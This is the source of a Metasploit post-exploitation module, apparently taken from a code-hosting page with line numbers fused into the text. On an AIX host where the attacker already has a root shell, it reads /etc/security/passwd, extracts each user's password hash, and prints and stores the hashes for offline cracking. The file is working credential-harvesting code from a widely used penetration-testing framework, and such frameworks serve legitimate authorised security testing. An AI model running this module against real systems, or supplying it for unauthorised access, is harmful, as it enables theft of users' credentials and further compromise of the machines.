Path: blob/master/modules/post/aix/hashdump.rb
23584 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'AIX Gather Dump Password Hashes',14'Description' => %q{Post module to dump the password hashes for all users on an AIX system.},15'License' => MSF_LICENSE,16'Author' => ['theLightCosine'],17'Platform' => [ 'aix' ],18'SessionTypes' => [ 'shell' ],19'Notes' => {20'Stability' => [CRASH_SAFE],21'SideEffects' => [],22'Reliability' => []23},24'References' => [25[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]26]27)28)29end3031def run32fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?3334passwd_file = read_file('/etc/security/passwd')3536username = ''37hash = ''3839passwd_file.each_line do |line|40user_line = line.match(/(\w+):/)41if user_line42username = user_line[1]43end4445hash_line = line.match(/password = (\w+)/)46if hash_line47hash = hash_line[1]48end4950next unless hash.present?5152print_good("#{username}:#{hash}")53credential_data = {54jtr_format: 'des',55origin_type: :session,56post_reference_name: refname,57private_type: :nonreplayable_hash,58private_data: hash,59session_id: session_db_id,60username: username,61workspace_id: myworkspace_id62}63create_credential(credential_data)64username = ''65hash = ''66end67end68end697071